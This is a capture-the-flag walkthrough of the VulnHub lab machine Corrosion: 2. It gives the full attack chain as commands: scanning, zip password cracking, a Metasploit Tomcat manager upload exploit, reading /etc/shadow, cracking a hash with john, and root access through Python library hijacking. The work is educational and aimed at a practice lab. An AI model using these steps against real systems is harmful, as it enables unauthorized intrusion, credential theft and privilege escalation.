> For the complete documentation index, see [llms.txt](https://book.loliteam.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.loliteam.net/my-hacking-materials/corrosion-2-vulnhub-writeup.md). # Corrosion: 2 VulnHub WriteUp

Proxy Programmer’s Corrosion: 2 is a Vulnhub medium machine.\ This lab is designed for experienced CTF players who want to put their abilities to the test in a variety of situations. So, let’s get started and see how we can split things down into smaller chunks. ### Download * **Corrosion2.ova** (Size: 5.1 GB) * **Download (Mirror)**: ### Pentest Methodology **Network Scanning** * netdiscover * nmap **Enumeration** * dirb * fcrackzip **Exploitation** * Metasploit * /etc/shadow * john **Privilege Escalation** * ssh * python library hijacking * root flag **Level: Medium** ### Network Scanning To begin, we must use the **netdiscover** command to scan the network for the target machine’s IP address. ```shell netdiscover ``` The victim’s IP address, in this case, is **192.168.1.186**.

We’re going to use **Nmap** to help us move this process along. To see all of the services stated, we need to know which ones are now available. ```shell nmap -sV 192.168.1.186 ``` According to the nmap output, we have: * An SSH server is available on port 22. * On port 80, there is an HTTP service (Apache Server). * On port 8080, a Tomcat server is running on port 8080.

### Enumeration Let’s begin by looking at the http service on port **80**. There’s nothing strange about that; it’s just an **Apache server page.**

Next, we looked at the **Tomcat server**, which was listening on port **8080**. It’s a straightforward page with nothing suspicious on it.

We discovered nothing harmful on websites. So, to continue further in this experiment, we use the **dirb** directory brute force method to find some knowledge. Smash!! We discovered a directory containing a **backup zip file**. ```bash dirb http://192.168.1.186:8080/ -X .php,.zip ```

The **backup zip file** is then downloaded using the **wget** command. Following that, we attempted to study this file, but it was **password protected**. {% code lineNumbers="true" %} ```shell wget http://192.168.1.186:8080/backup.zip unzip backup.zip ``` {% endcode %}

Next, we’ll use the **fcrackzip** utility to crack this password. It is a lightweight, open-source zip file password cracker. The **rockyou** word-list is used for the brute force attack. Boom!! We cracked its password in a matter of seconds **(@administrator\_hi5).** `fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip` Then we use this password to unzip the **backup zip** file. We attempt to inspect each and every file contained in this backup zip file. We are now inspecting the **tomcat users xml** file. {% code lineNumbers="true" %} ```shell unzip backup.zip cat tomcat-users.xml ``` {% endcode %}

Bam!! We discovered user **admin** and password **melehifokivai** credentials.

### Exploitation Now that we have the credentials, we can begin exploiting them using a **Metasploit**. In these instances, employing a **Tomcat exploit** is the best option. Then give us all the information we need to use it, and we’re ready to go. As you can see, we had a **meterpreter session**. {% code lineNumbers="true" %} ```shell use exploit/multi/http/tomcat_mgr_upload set rhosts 192.168.1.186 set rport 8080 set httpusername admin set httppassword melehifokivai exploit ``` {% endcode %}

We just switched the directory to home. We discover that we have two users in this lab, **Jaye** and **Randy.** We switched to user **jaye.** It has the same password **(melehifokivai)** that we found out earlier. {% code lineNumbers="true" %} ```shell cd /home ls su jaye ls ``` {% endcode %}

We discovered that this individual has a **look** called the .program that allows us to locate any file. As a result, we use it to locate the **/etc/shadow file**. Boom!! We obtained the **hash values** of all users in this lab. ```shell ./look '' /etc/shadow ```

As you are aware, we already have the password for user Jaye. We copy user **randy’s hash value** and save it in a file called hash. Using **John,** who is a specialist in this case, we try to crack that hash. In a matter of seconds, we cracked the password **07051986randy.** ```shell john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

### Privilege Escalation Now, we have all of the necessary information to begin privilege escalation. To login via ssh as user **randy,** we use the cracked password **07051986randy.** ```shell ssh randy@192.168.1.186 ``` Then we used the **(sudo -l)** tool to examine this user’s limits. We discovered that it can be abused by **python library hijacking**. The **randombase64.py** python code can be used to perform this **hijacking**. which imports another file called **base64.** {% code lineNumbers="true" %} ```shell sudo -l cat /home/randy/randombase64.py ``` {% endcode %}

To obtain base64 file coordinates, we use the **locate** command. In a couple of seconds, we discover its coordinates. We investigated the file’s restrictions. Using this file, we can gain **root access.** {% code lineNumbers="true" %} ```shell locate base64 ls -la /usr/lib/python3.8/base64.py ``` {% endcode %}

We made some changes to this **base64 python file** using the nano command. Add this code to get **root access** to the victim’s machine. ```python import os os.system ("/bin/bash") ```

We are now coordinating the use of both **Python files.** Boom!! We obtained root access. We immediately changed the directory to **root** and received the **root flag** in a matter of seconds. {% code lineNumbers="true" %} ```shell sudo /usr/bin/python3.8 /home/randy/randombase64.py cd /root cat root.txt ``` {% endcode %}

This was a fantastic lab with a lot of information, especially in the enumeration and privilege escalation areas. It is worthwhile to attempt to gain CTF experience. Hopefully, this walk-through should have taught you something new.